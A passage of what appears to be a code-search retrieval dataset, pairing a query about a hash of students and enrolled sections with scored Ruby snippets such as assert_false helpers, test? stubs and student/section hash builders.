"text": "def assert_false(boolean, message = nil)\n message = build_message message, '<?> is not false or nil.', boolean\n\n clean_backtrace do\n assert_block message do\n not boolean\n end\n end\n end",
"title": ""
},
{
"docid": "7b79a6d5bf7a274e287aba6449e42ef2",
"score": "0.64115846",
"text": "def assert_false(boolean, message = nil)\n message = build_message message, '<?> is not false or nil.', boolean\n\n clean_backtrace do\n assert_block message do\n not boolean\n end\n end\n end",
"title": ""
},
{
"docid": "7b79a6d5bf7a274e287aba6449e42ef2",
"score": "0.64115846",
"text": "def assert_false(boolean, message = nil)\n message = build_message message, '<?> is not false or nil.', boolean\n\n clean_backtrace do\n assert_block message do\n not boolean\n end\n end\n end",
"title": ""
},
{
"docid": "7b79a6d5bf7a274e287aba6449e42ef2",
"score": "0.64115846",
"text": "def assert_false(boolean, message = nil)\n message = build_message message, '<?> is not false or nil.', boolean\n\n clean_backtrace do\n assert_block message do\n not boolean\n end\n end\n end",
"title": ""
},
{
"docid": "56976e604fdac3bc71a9dede0ed45a7d",
"score": "0.64115655",
"text": "def _rfalse # rfalse\r\n routine_return 0\r\n end",
"title": ""
},
{
"docid": "4ac5f0528e7eb430cee42c54e96ba57b",
"score": "0.64053154",
"text": "def assert_false(condition=nil,message=nil)\n if (condition.class == TrueClass || condition.class == FalseClass) && !block_given? && message == nil\n @j_del.java_method(:assertFalse, [Java::boolean.java_class]).call(condition)\n return self\n elsif (condition.class == TrueClass || condition.class == FalseClass) && message.class == String && !block_given?\n @j_del.java_method(:assertFalse, [Java::boolean.java_class,Java::java.lang.String.java_class]).call(condition,message)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling assert_false(condition,message)\"\n end",
"title": ""
},
{
"docid": "806833c9f8bcb12e1511de66b85e9402",
"score": "0.64030486",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "806833c9f8bcb12e1511de66b85e9402",
"score": "0.64030486",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "806833c9f8bcb12e1511de66b85e9402",
"score": "0.64030486",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "806833c9f8bcb12e1511de66b85e9402",
"score": "0.64030486",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5a21ceafe7992802f8b9df91b1b531f3",
"score": "0.64022887",
"text": "def test_any_withFalse\n assert @triple_bool.any?\n end",
"title": ""
},
{
"docid": "eddf1285c033db06cf1e266ac4f639d3",
"score": "0.63864005",
"text": "def assert_false(boolean, message = nil)\n message = build_message message, '<?> is not false or nil.', boolean\n\n clean_backtrace do\n assert_block message do\n not boolean\n end\n end\n end",
"title": ""
},
{
"docid": "11ba885f447ae408498ab1e46358af1e",
"score": "0.6385758",
"text": "def process_false(exp)\n return t(:false, CType.bool)\n end",
"title": ""
},
{
"docid": "d44b9c6ee373f8304a0ce3f5faae8e15",
"score": "0.6383913",
"text": "def literal_false\n 'FALSE'\n end",
"title": ""
},
{
"docid": "340f37305eca74668daa9a96242b303a",
"score": "0.6376143",
"text": "def falsey\n one_of(constant(nil), constant(false))\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
},
{
"docid": "5911ff424c0cda1e5c53384d3933053a",
"score": "0.6373984",
"text": "def test?\n false\n end",
"title": ""
}
] |
eea83a83a529095df383706e81bd87ea
|
Provides hash representing students and enrolled sections
|
[
{
"docid": "ff6ae0b3f8b00934487f1fe32c8d4b40",
"score": "0.69011647",
"text": "def get_student_section_columns_hash(students)\n students.inject({}) do |map, student|\n map[student[:student_id]] = section_columns_hash(student[:sections])\n map\n end\n end",
"title": ""
}
] |
[
{
"docid": "de898fb4a9c6f52b73b55ac01b1f8dd5",
"score": "0.66450995",
"text": "def students_by_section\n class_map = Hash.new{ |h,k| h[k] = [] }\n self.followers.includes([:section, :student_user]).each do |f|\n class_map[f.section] << f.student_user\n end\n class_map\n end",
"title": ""
},
{
"docid": "52e758102506076e5114e7c4abfcf544",
"score": "0.6531053",
"text": "def fat_student_hash(student)\n HashWithIndifferentAccess.new(student_hash_for_slicing(student).merge({\n event_notes_without_restricted: student.event_notes_without_restricted,\n interventions: student.interventions,\n sped_data: student.sped_data,\n }))\n end",
"title": ""
},
{
"docid": "25b6c53ead33e0503eddc98a57a41756",
"score": "0.6409298",
"text": "def course_sections\n ['1', '2']\n end",
"title": ""
},
{
"docid": "78bee136dc67f1a339fd8ace32727d45",
"score": "0.6399473",
"text": "def student_hash_for_slicing(student)\n student.as_json.merge({\n student_risk_level: student.student_risk_level.as_json,\n discipline_incidents_count: student.most_recent_school_year.discipline_incidents.count,\n absences_count: student.most_recent_school_year.absences.count,\n tardies_count: student.most_recent_school_year.tardies.count,\n homeroom_name: student.try(:homeroom).try(:name)\n })\n end",
"title": ""
},
{
"docid": "598daea671fb3397ed07942febef4e2a",
"score": "0.6323547",
"text": "def fat_student_hash(student)\n HashWithIndifferentAccess.new(student_hash_for_slicing(student).merge({\n interventions: student.interventions,\n student_risk_level: student.student_risk_level.decorate.as_json_with_explanation,\n }))\n end",
"title": ""
},
{
"docid": "8d683b1f853b17fb61f98190838fd3a3",
"score": "0.6308897",
"text": "def to_hash\n Hash[sort_tuples(section_tuples)]\n end",
"title": ""
},
{
"docid": "3ef5a4bfc2fa031979471213f7aa4972",
"score": "0.62539554",
"text": "def section_data(driver, section_id)\n {\n :code => section_course_code(section_id),\n :label => section_label(section_id),\n :id => section_id(driver, section_id),\n :schedules => section_schedules(driver, section_id),\n :locations => section_locations(driver, section_id),\n :instructors => section_instructors(driver, section_id)\n }\n end",
"title": ""
},
{
"docid": "f5a79aa662a4fc1f32a6e585f83a9d23",
"score": "0.62193435",
"text": "def section_courses\n all_sections = sections.to_a.concat(sections_as_student).uniq\n\n # In the future we may want to make it so that if assigned a script, but that\n # script has a default course, it shows up as a course here\n all_sections.map(&:course).compact.uniq\n end",
"title": ""
},
{
"docid": "46ce8ace49244e4b02e048e41fea7c3a",
"score": "0.61522347",
"text": "def sections\n @data.keys\n end",
"title": ""
},
{
"docid": "14353b03abe5601f6b8c866419d8ed90",
"score": "0.6112425",
"text": "def section_scores_hash\n return @section_scores_hash if @section_scores_hash\n @section_scores_hash = {}\n for section in sections.strip.split(\"\\r\\n\")\n section = section.split(\":\")\n section_name = section[0].to_s.strip.parameterize.underscore\n value = section[1].nil? ? nil : section[1].to_s.strip.try(:to_i)\n @section_scores_hash[section_name] = value\n end\n @section_scores_hash\n end",
"title": ""
},
{
"docid": "981cd4f813a8e9ddf4bb5a031746f122",
"score": "0.6101628",
"text": "def users_sections\n unless session[:mySections]\n session[:mySections] = []\n end\n session[:mySections]\n end",
"title": ""
},
{
"docid": "2a1410d0ac3da73a7493cb3ed7d81a26",
"score": "0.609641",
"text": "def student_data_hash\n\n # turn data into 2 Dim array containing arrays of eles where delimiter is colon :\n clean_user_account_data = ruby_class_user_accounts.map { |x| x.split(/:/) }\n\n # turn data into a hash using 2 arrays for keys and values\n keys = %w[user_name password uid gid gcos_field home_directory login_shell]\n final_array_of_hashes = []\n\n clean_user_account_data.each do |account_data|\n hash = Hash.new\n keys.each_with_index { |item, index| hash[item] = account_data[index] }\n final_array_of_hashes << hash\n end\n final_array_of_hashes\n end",
"title": ""
},
{
"docid": "a7e3c0f31e8853887333b70e3621aa4e",
"score": "0.60857785",
"text": "def sections\n @sections.values\n end",
"title": ""
},
{
"docid": "c74ecf0a0181f1fb6899e91c5bc93227",
"score": "0.5999674",
"text": "def get_exam_sections(user_id, course_id, exam_id)\r\n get(Path::USERS_COURSES_EXAMS_SECTIONS % [user_id, course_id, exam_id])\r\n end",
"title": ""
},
{
"docid": "bab4d082a0c232e1b4c4431fe7822fdb",
"score": "0.59808064",
"text": "def to_h\n hash = {\n description: description,\n sections: sections.map(&:to_h)\n }\n hash[:id] = id if id\n hash[:encrypted] = encrypted?\n hash[:views] = views if views\n hash[:created_at] = created_at if created_at\n hash[:expires_at] = expires_at if expires_at\n\n hash\n end",
"title": ""
},
{
"docid": "ab0dea756da949c76b2d107b26d97cb4",
"score": "0.5966012",
"text": "def compute_student_hashes(authorized_student_ids)\n # Students table first\n authorized_students = Student.where(id: authorized_student_ids).includes(:homeroom)\n students_json = authorized_students.as_json({\n except: [\n :primary_phone,\n :primary_email,\n :student_address\n ]\n })\n\n # Optimized computation for aggregates\n aggregates = {\n discipline_incidents_count: DisciplineIncident.where(student_id: authorized_student_ids).where('occurred_at >= ?', first_day_of_school).group(:student_id).count,\n absences_count: Absence.where(student_id: authorized_student_ids).where('occurred_at >= ?', first_day_of_school).group(:student_id).count,\n tardies_count: Tardy.where(student_id: authorized_student_ids).where('occurred_at >= ?', first_day_of_school).group(:student_id).count\n }\n\n # Merge\n authorized_students.each_with_index.map do |student, index|\n HashWithIndifferentAccess.new(students_json[index].merge({\n discipline_incidents_count: aggregates[:discipline_incidents_count].fetch(student.id, 0),\n absences_count: aggregates[:absences_count].fetch(student.id, 0),\n tardies_count: aggregates[:tardies_count].fetch(student.id, 0),\n homeroom_name: student.try(:homeroom).try(:name)\n }))\n end\n end",
"title": ""
},
{
"docid": "a88df2f93452cd994245ab998691bd0b",
"score": "0.5946055",
"text": "def sections\n @sections ||= @account.sections\n end",
"title": ""
},
{
"docid": "e925e0609841de62721323ac85b18d22",
"score": "0.5944882",
"text": "def generate_course_memberships(section_rows, instructor_row)\n enrollments = []\n section_rows.each do |section_row|\n enrollments << {\n 'course_id' => section_row['course_id'],\n 'user_id' => instructor_row['user_id'],\n 'role' => 'teacher',\n 'section_id' => section_row['section_id'],\n 'status' => 'active'\n }\n end\n enrollments\n end",
"title": ""
},
{
"docid": "b51bdffc93463e7bf6b937f75dd532f8",
"score": "0.59420437",
"text": "def get_marks_graders_student_table_info(students, grade_entry_form)\n students.map do |student|\n s = student.attributes\n s[:graders] = lookup_graders_for_student(student, grade_entry_form)\n s[:section_name] = student.has_section? ? student.section.name : nil\n s\n end\n end",
"title": ""
},
{
"docid": "09d3df69f728ab294c2ea9500e06f7a4",
"score": "0.5870863",
"text": "def sections\n account.accessible_sections if account\n end",
"title": ""
},
{
"docid": "e1be85d1c903055fbe4f4b90efa09ac0",
"score": "0.5870644",
"text": "def fat_student_hash(student)\n HashWithIndifferentAccess.new(student.as_json({\n except: [\n :primary_phone,\n :primary_email,\n :student_address\n ]\n }).merge({\n has_photo: student.has_photo,\n discipline_incidents_count: student.most_recent_school_year_discipline_incidents_count,\n absences_count: student.most_recent_school_year_absences_count,\n tardies_count: student.most_recent_school_year_tardies_count,\n homeroom_name: student.try(:homeroom).try(:name),\n event_notes_without_restricted: student.event_notes_without_restricted,\n interventions: student.interventions,\n sped_data: sped_data(student)\n }))\n end",
"title": ""
},
{
"docid": "78135f4812ec909df29f3e78eff79cc4",
"score": "0.5855421",
"text": "def hash_builder(student)\n student_hash = { id: student.id, name: student.first_name + ' ' + student.s_last_name,\n other_interventions: student.num_other_programs,\n tutor: student.vol_name, first_attempt_average: @acumen_one,\n second_attempt_average: @acumen_two,\n hug_gain: (@acumen_two - @acumen_one).round(2),\n last_year_dra_gains: @last_year_dra_gains,\n fall_dra: @student_record[:fall_dra], winter_dra: @student_record[:winter_dra],\n mid_year_dra_gain: @student_record[:mid_year_dra_gain],\n spring_dra: @student_record[:spring_dra], end_year_dra_gain: @student_record[:end_year_dra_gain],\n fall_rit: @student_record[:fall_rit], winter_rit: @student_record[:winter_rit],\n mid_year_rit_gain: @student_record[:mid_year_rit_gain],\n spring_rit: @student_record[:spring_rit], end_year_rit_gain: @student_record[:end_year_rit_gain],\n fall_rank: @student_record[:fall_rank], winter_rank: @student_record[:winter_rank],\n mid_year_rank_gain: @student_record[:mid_year_rank_gain],\n spring_rank: @student_record[:spring_rank], end_year_rank_gain: @student_record[:end_year_rank_gain],\n fall_lexile: @student_record[:fall_lexile], winter_lexile: @student_record[:winter_lexile],\n spring_lexile: @student_record[:spring_lexile] }\n student_hash\n end",
"title": ""
},
{
"docid": "2ff8ce0293443646d52ff9a9d9b9131b",
"score": "0.5818986",
"text": "def collect_students(section = nil, student_attr = nil)\n @students ||= (\n student_list = data.collect{|row| row[0].to_s.sub(/COMMA\\s*/,', ').strip}\n students = student_list.collect do |student|\n s = section.rollbook_entries.detect{|rbe| rbe.student.send(student_attr) == student}\n s && s.id\n end\n students)\n end",
"title": ""
},
{
"docid": "d99b7ecd34b9fdc14bc85d4f331c24d7",
"score": "0.58077204",
"text": "def hash_creator(filepath)\n hash = Hash.new\n CSV.foreach(filepath, headers: true) do |row|\n student = Student.new(fname = row[0], lname = row[1], email = row[2], section = row[3], major1 = row[4], major2 = row[5], minor1 = row[6], minor2 = row[7])\n if hash.has_key?(student.section)\n array = hash[student.section]\n array.push(student)\n hash[student.section] = array\n else\n array = [student]\n hash[student.section] = array\n end\n end\n return hash\nend",
"title": ""
},
{
"docid": "3e8ceaeecc7f2d6e9f93e7ec8b8142ee",
"score": "0.58018845",
"text": "def students # Want: student id and student names on Users Table\n return User.joins(:sections).where(:sections => {:id => self.id}).all\n end",
"title": ""
},
{
"docid": "3299bd3e5ece144bd31d11afe80893ed",
"score": "0.57784593",
"text": "def official_section_identifiers\n @official_section_ids ||= Canvas::CourseSections.new(:course_id => @canvas_course_id).official_section_identifiers\n end",
"title": ""
},
{
"docid": "6c87f5d6d4319032dbe58c53d372e2ce",
"score": "0.57756495",
"text": "def convert_educations_to_hash\n educations = Education.all.map do |education|\n [education.id, education.name.gsub(/'/, \"''\")]\n end\n educations.to_h\n end",
"title": ""
},
{
"docid": "89462f26cf549222f64d05f3d02e0693",
"score": "0.5713892",
"text": "def fill_student_hash\n students = create_student_hash\n add_links_to_hash(students) \n populate_hash(students)\n #html_hash = scrape_and_store_each_profile(doc)\n #populate_hash_with_profile(students, html_hash, :tagline, '.textwidget h3') #tagline\n #populate_hash_with_bio(students, html_hash) #bio\n #populate_hash_with_social(students, html_hash, :github, 2) #github\n #populate_hash_with_social(students, html_hash, :twitter, 0) #twitter\n #populate_hash_with_social(students, html_hash, :linkedin, 1) # linkedin\nend",
"title": ""
},
{
"docid": "7cb15d2f1e55bf520e8f665caa00b849",
"score": "0.57051045",
"text": "def enrollment(list)\n\tlist.each do |key, value|\n\t\tputs \"#{key}: #{value} students\"\n\tend\n\tputs \"------------------------\"\nend",
"title": ""
},
{
"docid": "dd48211f09973bae4982843738d6597a",
"score": "0.5691591",
"text": "def section_ids\n sections.map { |co| co.id }\n end",
"title": ""
},
{
"docid": "a264668cdcd24ebff5ca8f83e2d66d65",
"score": "0.5681941",
"text": "def showHash(code, model)\n showHash = Hash.new\n case code\n when \"course\"\n showHash[:course] = model\n showHash[:students] = Student.where(\"course_id=?\",model.id).to_a\n showHash[:coursesstudents] = CoursesStudents.where(\"course_id=?\",model.id).to_a\n return showHash\n\n when \"assignment\"\n showHash[:assignment] = model\n showHash[:students] = Student.where(\"course_id=?\",model.course_id).to_a\n showHash[:assignmentsstudents] = AssignmentsStudents.where(\"assignment_id=?\",model.id).to_a\n return showHash\n\n when \"student\" \n showHash[:student] = model\n showHash[:assignment] = Assignment.where(\"email=?\", session[:user].email).to_a.last\n return showHash\n end\n end",
"title": ""
},
{
"docid": "e63a0acfd3ffc8d5a9a1b9e52db326ab",
"score": "0.56725514",
"text": "def serialize_students(student_ids, section)\n students = Student\n .active\n .where(id: student_ids)\n .includes(:student_section_assignments)\n\n students.map do |student|\n grade_numeric = student.student_section_assignments.find_by_section_id(section.id).grade_numeric\n student.as_json(methods: [\n :has_photo,\n :event_notes_without_restricted,\n :most_recent_school_year_discipline_incidents_count,\n :most_recent_school_year_absences_count,\n :most_recent_school_year_tardies_count\n ]).merge({\n grade_numeric: grade_numeric\n })\n end\n end",
"title": ""
},
{
"docid": "cc61e106b3772e7f54ebbd624f23446b",
"score": "0.5638788",
"text": "def section_contents\n used_sections = {}\n\n each_method do |method|\n next unless method.display?\n\n used_sections[method.section] = true\n end\n\n # order found sections\n sections = sort_sections.select do |section|\n used_sections[section]\n end\n\n # only the default section is used\n return [] if\n sections.length == 1 and not sections.first.title\n\n sections\n end",
"title": ""
},
{
"docid": "744b0fc6f5dde7b496643001b126fe22",
"score": "0.5636837",
"text": "def total_students(hash)\n\ttotal = 0\n\thash.each { |key, value| total += value }\n\treturn total\nend",
"title": ""
},
{
"docid": "b5bede8a1968832dd8e8822171bb2536",
"score": "0.5630427",
"text": "def name_and_role\n instructors.map do |instructors_hash|\n {instructors_hash[:name] => instructors_hash[:role]}\n end\nend",
"title": ""
},
{
"docid": "b2aaf4e458c9d3412aff208acf7ed417",
"score": "0.56110585",
"text": "def show_hash(students)\nstudents.each {|key, value| puts \"#{key}: #{value} students\" }\nend",
"title": ""
},
{
"docid": "41a44b3dff0c4f5a18d87953bebc38c6",
"score": "0.560325",
"text": "def index\n @enrollments = Enrollment.all\n users = User.all\n @users_by_enrollment = {}\n users.each do |user|\n @users_by_enrollment[user.id] = user\n end\n @sections_by_enrollment = {}\n sections = Section.all\n sections.each do |section|\n @sections_by_enrollment[section.id] = section\n end\n courses = Course.all\n @courses_by_enrollment = {}\n courses.each do |course|\n @courses_by_enrollment[course.id] = {course_obj: course, course_short_name: \"\"}\n course_title_raw = course.course_title.split(\" \")\n course_title_fixed = \"\"\n course_title_raw.each do |word|\n if word != \"of\" && word != \"the\"\n course_title_fixed = course_title_fixed + word[0] \n end\n end\n @courses_by_enrollment[course.id][:course_short_name] = course_title_fixed + \" \" + @courses_by_enrollment[course.id][:course_obj][:course_description]\n end\n end",
"title": ""
},
{
"docid": "516966c850d26c05ecaf235ea9116891",
"score": "0.5591623",
"text": "def hash\n [area_ids, capacities, merchant_newsletter_selection_required, area_selection_required, reservation_enquiry_enabled, minimum_capacity_for_enquiries, online_reservation_interval, special_terms, links, automatic_confirmation, ccv_enabled].hash\n end",
"title": ""
},
{
"docid": "10c0a7fa07a8b8f001dac0694e7c48fd",
"score": "0.55849487",
"text": "def initialize\n @sections = {}\n end",
"title": ""
},
{
"docid": "c3b84f2b6a1f783778278aaccfa134d9",
"score": "0.55692595",
"text": "def hash\n [id, alternate_id, type, first_name, surname, date_of_brith, date_of_birth, shipping_address, mailing_address, home_phone, mobile_phone, email_address, mailing_address_active, accounts, classifications, member_photo, gender, receive_email, receive_sms, password].hash\n end",
"title": ""
},
{
"docid": "c4d7812f2de87180e86d1b6072fcb00d",
"score": "0.5566817",
"text": "def study_subject_hash\n\t\t{\n\t\t\t\"master_id\" => \"1234FAKE\"\t#, \"master_id_mother\" => \"4567FAKE\"\t\t#\twhy?\n\t\t}\n\tend",
"title": ""
},
{
"docid": "32016deff65d2fcd63ae1182258efd4a",
"score": "0.55563504",
"text": "def section_for_script(script)\n sections_as_student.find {|section| section.script_id == script.id} ||\n sections.find {|section| section.script_id == script.id}\n end",
"title": ""
},
{
"docid": "3a220b780a0e4a73baad4ba1f60e42ef",
"score": "0.5546611",
"text": "def sections\n return @sections\n end",
"title": ""
},
{
"docid": "2e2a02bad9c11d03097d2b701936f5a0",
"score": "0.55456996",
"text": "def add_hash_of_students(student_hash)\n student_hash.each do |grade, students|\n @roster[grade] ||= []\n students.each {|student| @roster[grade] << student}\n end\n end",
"title": ""
},
{
"docid": "59428a610da6dcb64c730f01eb08b7ac",
"score": "0.55454034",
"text": "def hash\n [alliance_id, ancestry_id, birthday, bloodline_id, corporation_id, description, gender, name, race_id, security_status].hash\n end",
"title": ""
},
{
"docid": "649c65d271187628dbe6d5562440b261",
"score": "0.5541581",
"text": "def mark_columns_with_subject_ids(section)\n\t\th = Hash.new\n\t\tsection.sec_sub_maps.each do |map|\n\t\t\tname =map.subject_id\n\t\t\tmark_col = \"sub#{map.mark_column}\"\n\t\t\th[name] = mark_col\n\t\tend\n\t\treturn h\n\tend",
"title": ""
},
{
"docid": "746e5e695e8aea7ff6190406d2b15037",
"score": "0.55401313",
"text": "def getEnrollmentsInSection(sid)\r\n\turi = sprintf(\"/api/v1/sections/%d/enrollments?type[]=StudentEnrollment&per_page=999\", sid)\r\n\tenrollments = $canvas.get(uri)\r\n\treturn enrollments\r\nend",
"title": ""
},
{
"docid": "746e5e695e8aea7ff6190406d2b15037",
"score": "0.55401313",
"text": "def getEnrollmentsInSection(sid)\r\n\turi = sprintf(\"/api/v1/sections/%d/enrollments?type[]=StudentEnrollment&per_page=999\", sid)\r\n\tenrollments = $canvas.get(uri)\r\n\treturn enrollments\r\nend",
"title": ""
},
{
"docid": "4352f379692c5dda6b35b0495bc3cba0",
"score": "0.55368817",
"text": "def sections(ident_only=false, &block)\n return to_enum(:sections, ident_only) if ! block_given?\n @sections.values.each do |sec|\n yield(ident_only ? sec.ident : sec)\n end\n end",
"title": ""
},
{
"docid": "0f22242e8aadd9ab7c7fff1289f7ec0c",
"score": "0.55274135",
"text": "def demonstrator_list\n @hash = {}\n # retrieves courses which are supervised by the course coordinator\n @courses = current_staff.courses\n @courses.each do |course|\n # starts building a hash containing the neccessary information\n @hash[course.course_title] = {}\n # retrieves all the practicals for the course\n course.practicals.each do |practical|\n @hash[course.course_title][practical.start_time] = {}\n # retrieves the demonstrators for the practicals\n demonstrators_on_given_practical = Demonstrator.where(\"practical_id = ?\", practical.id)\n # counts how many demonstrators will be on the practical\n counter = demonstrators_on_given_practical.count\n # initialising a hash for each demonstrator\n counter.times do |i|\n @hash[course.course_title][practical.start_time][i] = {}\n end\n counter = 0\n # goes through each demonstrator for a practical and restrieves their necessary information\n demonstrators_on_given_practical.each do |demonstrate_on|\n # checks whether the demonstrator is a staff member or a student\n demonstrator = Student.find_by(sam_student_id: demonstrate_on.sam_demonstrator_id)\n if demonstrator.nil?\n demonstrator = Staff.find_by(sam_staff_id: demonstrate_on.sam_demonstrator_id)\n end\n # stores the details of the demonstrator which will be presented in the corresponding view\n @hash[course.course_title][practical.start_time][counter][:sam_demonstrator_id] = demonstrate_on.sam_demonstrator_id\n @hash[course.course_title][practical.start_time][counter][:first_name] = demonstrator.first_name\n @hash[course.course_title][practical.start_time][counter][:last_name] = demonstrator.last_name\n @hash[course.course_title][practical.start_time][counter][:email] = demonstrator.email\n counter = counter + 1\n end\n end\n end\n end",
"title": ""
},
{
"docid": "975f347a0b120ce30e6b11fb57dce960",
"score": "0.552206",
"text": "def hash\n fullname.hash\n end",
"title": ""
},
{
"docid": "e470cce598ba8aa68b79cdae8e685018",
"score": "0.55067587",
"text": "def hash\n members.hash\n end",
"title": ""
},
{
"docid": "5b10df27bf3c50f99c9a9942d3b69bb9",
"score": "0.5505966",
"text": "def hash\n [subject_property, proprietorship, surname, forename, middle_name, all_names, historical_match].hash\n end",
"title": ""
},
{
"docid": "a261095505c77b4a62970ea7f4213251",
"score": "0.5498086",
"text": "def build_school_hash\n school_stats = {}\n Event.locations.keys.each do |location_id| \n school_stats[location_id] = {} \n school_stats[location_id]['total_attendances'] = get_attends_for_location(Event.locations[location_id])\n school_stats[location_id]['total_students'] = location_students(Event.locations[location_id])\n school_stats[location_id]['total_schools'] = location_schools(Event.locations[location_id])\n school_stats[location_id]['students_grouped'] = location_students_grouped(Event.locations[location_id])\n school_stats[location_id]['schools_grouped'] = location_schools_grouped(Event.locations[location_id])\n end \n return school_stats\n end",
"title": ""
},
{
"docid": "ede144644d8212239fd26ba942233c6d",
"score": "0.5495858",
"text": "def to_hash\n hash = {\n \"id\" => id,\n \"title\" => title,\n \"code\" => code,\n \"section\" => section,\n \"department_id\" => department_id,\n \"instructor\" => instructor,\n \"term\" => term }\n end",
"title": ""
},
{
"docid": "13710bdadfd83fb6480336bbf092d4ce",
"score": "0.546412",
"text": "def apply_section_enrollments_to_enrollment_map(section, section_enrollments)\n @campus_enrollment_map ||= {}\n section_enrollments.try(:each) do |enrollment|\n if (existing_entry = @campus_enrollment_map[enrollment[:ldap_uid]])\n # We include waitlisted students in the roster. However, we do not show the official photo if the student\n # is waitlisted in ALL sections.\n if existing_entry[:enroll_status] == 'W' && enrollment[:enroll_status] == 'E'\n existing_entry[:enroll_status] = 'E'\n end\n @campus_enrollment_map[enrollment[:ldap_uid]][:section_ccns] |= [section[:ccn]]\n else\n @campus_enrollment_map[enrollment[:ldap_uid]] = enrollment.slice(:student_id, :first_name, :last_name, :email, :enroll_status, :majors, :terms_in_attendance, :academic_career).merge({\n section_ccns: [section[:ccn]]\n })\n end\n # Grading and waitlist information in the enrollment summary view should apply to the graded component.\n if enrollment[:grade_option].present? && enrollment[:units].to_f.nonzero?\n @campus_enrollment_map[enrollment[:ldap_uid]].merge! enrollment.slice(:grade_option, :units, :waitlist_position)\n end\n end\n @campus_enrollment_map\n end",
"title": ""
},
{
"docid": "11796a46aa83547e36c649d31e9c69c4",
"score": "0.5447166",
"text": "def construct_table_rows(students, grade_entry_form)\n result = {}\n students.each do |student|\n result[student.id] = construct_table_row(student, grade_entry_form)\n end\n\n result\n end",
"title": ""
},
{
"docid": "8b6367b1199ee7dc85a2d6f9879c9e57",
"score": "0.54267865",
"text": "def sections\n @pages.collect { |p| p.sections }.flatten\n end",
"title": ""
},
{
"docid": "c66e7f7f1bee77a804147fd52fb73a49",
"score": "0.5425806",
"text": "def hash\n [property_code, property_name, location, address, total_price, min_daily_rate, contacts, amenities, awards, images, rooms, more_rooms_at_this_hotel].hash\n end",
"title": ""
},
{
"docid": "8547119098f582152307888700686eb3",
"score": "0.5423659",
"text": "def mark_columns_with_subject_ids(section)\n h = Hash.new\n section.sec_sub_maps.each do |map|\n name =map.subject_id\n h[name] = map.mark_column\n end\n return h\n end",
"title": ""
},
{
"docid": "60e60378684b367b6697c896e89a5397",
"score": "0.5422539",
"text": "def hash\n [first_row_index, first_cell_index, last_row_index, last_cell_index, allow_splitting].hash\n end",
"title": ""
},
{
"docid": "4856a577c4fe49dadcc6e2ccc1fcc09f",
"score": "0.54064256",
"text": "def sections\n @section_ids.collect { |idx| BSection.store[idx] }\n end",
"title": ""
},
{
"docid": "1f2c0fd93c0475aaf232e08161c68143",
"score": "0.5405813",
"text": "def _section_fields\n {\n 'article' => ['r:Title', 'o:Author', 'o:DOI'],\n 'journal' => ['r:Title', 'o:ISSN', 'r:Volume', 'o:Issue', 'r:Year', 'r:Pages'],\n 'host' => ['o:Title', 'o:ISSN or ISBN', 'o:Volume', 'o:Issue', 'r:Year', 'o:Pages'],\n 'auto-cancel' => ['o:Automatic cancellation'],\n 'notes' => ['o:Notes'],\n 'conference' => ['r:Title', 'o:Location', 'r:Year', 'o:ISSN or ISBN', 'r:Pages'],\n 'book' => ['r:Title', 'o:Author', 'o:Edition', 'o:DOI', 'o:ISBN', 'r:Year', 'o:Publisher'],\n 'thesis' => ['r:Title', 'r:Author', 'o:Affiliation', 'o:Publisher', 'o:Type', 'r:Year', 'o:Pages'],\n 'report' => ['r:Title', 'o:Author', 'o:Publisher', 'o:DOI', 'o:Report Number'],\n 'standard' => ['r:Title', 'o:Subtitle', 'o:Publisher', 'o:DOI', 'o:Standard Number', 'o:ISBN', 'r:Year', 'o:Pages'],\n 'patent' => ['r:Title', 'o:Inventor', 'o:Patent Number', 'r:Year', 'o:Country'],\n 'other' => ['r:Title', 'o:Author', 'o:Publisher', 'o:DOI']\n }\nend",
"title": ""
},
{
"docid": "27d202727380aab40724965666e6a16f",
"score": "0.54048485",
"text": "def section_selection\n sections.map { |s| [s.to_label, s.id] }\n end",
"title": ""
},
{
"docid": "e9b3b4793c41a121ef24b59fb910cfef",
"score": "0.5402548",
"text": "def hash\n [id, banco, agencia, conta_corrente, especie, numero_convenio, carteira, codigo_cedente, especie_tipo, especie_documento, aceite, instrucoes, local_pagamento1, local_pagamento2, endereco_cobranca_emissor, nome_beneficiario, cnpj_beneficiario, operador, data, maquina].hash\n end",
"title": ""
},
{
"docid": "50ee39538a06e6dae4779d6d184bbcff",
"score": "0.54016197",
"text": "def section_columns_hash(sections)\n section_property_filter = [:instruction_format, :is_primary, :section_number]\n columns_hash = {}\n primary_groups = sections.group_by { |section| section.try(:[], :is_primary) ? :primary : :secondary }\n primary_groups.keys.each do |primary_group_key|\n columns_hash[primary_group_key] = {}\n primary_group = primary_groups[primary_group_key]\n instructional_format_groups = primary_group.group_by { |sec| sec[:instruction_format] }\n instructional_format_groups.keys.each do |instruction_format_code|\n if_sections = instructional_format_groups[instruction_format_code]\n columns_hash[primary_group_key][instruction_format_code] = if_sections.collect {|sec| sec.slice(*section_property_filter)}\n end\n end\n columns_hash\n end",
"title": ""
},
{
"docid": "f9072fac5b1af6842f01580f085ba094",
"score": "0.53971195",
"text": "def student_count(hash)\n hash.each do |x, y|\n puts \"#{x}: #{y} students\"\n end\nend",
"title": ""
},
{
"docid": "1027cf2f258637ebf3c6939deca05fcd",
"score": "0.53874874",
"text": "def total_students( students_hash)\n st_counter =0\n students_hash.each do |key,value|\n st_counter += value\n #puts (\"#{key}: #{value} students\")\n end\n return st_counter\nend",
"title": ""
},
{
"docid": "e8c2eedf978c11265d59ab06eca53014",
"score": "0.53874826",
